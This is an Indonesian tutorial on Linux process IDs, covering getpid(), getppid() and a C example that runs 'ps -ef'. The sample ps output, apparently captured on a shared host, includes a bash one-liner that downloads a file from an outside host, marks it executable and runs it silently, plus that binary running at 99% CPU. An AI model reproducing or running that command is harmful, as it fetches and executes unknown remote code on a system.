Informasi Proses

Sebelum kita memproses informasi, kita perlu mengetahui beberapa hal, seperti -

Apa itu proses? Proses adalah program yang sedang dieksekusi.

Apakah program itu? Program adalah file yang berisi informasi dari suatu proses dan bagaimana membangunnya selama waktu berjalan. Saat Anda memulai eksekusi program, program tersebut dimuat ke dalam RAM dan mulai dijalankan.

Setiap proses diidentifikasi dengan bilangan bulat positif unik yang disebut sebagai ID proses atau PID (Nomor Identifikasi Proses). Kernel biasanya membatasi ID proses ke 32767, yang dapat dikonfigurasi. Ketika ID proses mencapai batas ini, itu diatur ulang lagi, yang setelah rentang proses sistem. ID proses yang tidak digunakan dari penghitung itu kemudian ditetapkan ke proses yang baru dibuat.

Panggilan sistem getpid () mengembalikan ID proses dari proses panggilan.

#include <sys/types.h>
#include <unistd.h>

pid_t getpid(void);

Panggilan ini mengembalikan ID proses dari proses panggilan yang dijamin unik. Panggilan ini selalu berhasil dan dengan demikian tidak ada nilai kembali untuk menunjukkan kesalahan.

Setiap proses memiliki ID unik yang disebut ID proses yang baik-baik saja tetapi siapa yang membuatnya? Bagaimana cara mendapatkan informasi tentang penciptanya? Proses pencipta disebut proses induk. ID Induk atau PPID dapat diperoleh melalui panggilan getppid ().

Panggilan sistem getppid () mengembalikan PID Induk dari proses panggilan.

#include <sys/types.h>
#include <unistd.h>

pid_t getppid(void);

Panggilan ini mengembalikan ID proses induk dari proses panggilan. Panggilan ini selalu berhasil dan dengan demikian tidak ada nilai kembali untuk menunjukkan kesalahan.

Mari kita pahami ini dengan contoh sederhana.

Berikut adalah program untuk mengetahui PID dan PPID dari proses pemanggilan.

File name: processinfo.c
#include <stdio.h>
#include <stdlib.h>
#include <sys/types.h>
#include <unistd.h>

int main() {
   int mypid, myppid;
   printf("Program to know PID and PPID's information\n");
   mypid = getpid();
   myppid = getppid();
   printf("My process ID is %d\n", mypid);
   printf("My parent process ID is %d\n", myppid);
   printf("Cross verification of pid's by executing process commands on shell\n");
   system("ps -ef");
   return 0;
}

Pada kompilasi dan eksekusi program di atas, berikut akan menjadi keluarannya.

UID         PID   PPID  C STIME TTY          TIME CMD
root          1      0  0  2017 ?        00:00:00 /bin/sh /usr/bin/mysqld_safe
mysql       101      1  0  2017 ?        00:06:06 /usr/libexec/mysqld 
                                         --basedir = /usr 
                                         --datadir = /var/lib/mysql 
                                         --plugin-dir = /usr/lib64/mysql/plugin 
                                         --user = mysql 
                                         --log-error = /var/log/mariadb/mariadb.log 
                                         --pid-file = /run/mariadb/mariadb.pid 
                                         --socket = /var/lib/mysql/mysql.sock
2868535   96284      0  0 05:23 ?        00:00:00 bash -c download() { 
                                         flag = "false" hsize = 1 
                                         echo -e "GET /$2 HTTP/1.1\nHost: 
                                         $1\nConnection: close\n\n" | 
                                         openssl s_client -timeout -quiet 
                                         -verify_quiet -connect $1:443 2> 
                                         /dev/null | tee out | while read line do
                                         if [[ "$flag" == "false" ]]     
                                         then 
                                         hsize = $((hsize+$(echo $line | wc -c)))
                                         fi
                                         if [[ "${line:1:1}" == "" ]]     
                                         then flag = "true"
                                         fi 
                                         echo $hsize > 
                                         size done tail -c +$(cat size) out > 
                                         $2 rm size out }
                                         ( download my.mixtape.moe mhawum 2>
                                         /dev/null chmod +x mhawum 2>
                                         /dev/null ./mhawum >
                                         /dev/null 2>
                                         /dev/null )&
2868535   96910  96284 99 05:23 ?        00:47:26 ./mhawum
6118874  104116      0  3 05:25 ?        00:00:00 sh -c cd /home/cg/root/6118874; 
                                         timeout 10s javac Puppy.java
6118874  104122 104116  0 05:25 ?        00:00:00 timeout 10s javac Puppy.java
6118874  104123 104122 23 05:25 ?        00:00:00 javac Puppy.java
3787205  104169      0  0 05:25 ?        00:00:00 sh -c cd /home/cg/root/3787205; 
                                         timeout 10s main
3787205  104175 104169  0 05:25 ?        00:00:00 timeout 10s main
3787205  104176 104175  0 05:25 ?        00:00:00 main
3787205  104177 104176  0 05:25 ?        00:00:00 ps -ef
Program to know PID and PPID's information
My process ID is 104176
My parent process ID is 104175
Cross verification of pid's by executing process commands on shell

Note- Sistem fungsi perpustakaan "C" () menjalankan perintah shell. Argumen yang diteruskan ke system () adalah perintah yang dijalankan pada shell. Dalam program di atas, perintahnya adalah "ps", yang memberikan status proses.

Informasi lengkap tentang semua proses yang berjalan dan informasi terkait sistem lainnya dapat diakses dari sistem file proc yang tersedia di / lokasi proc.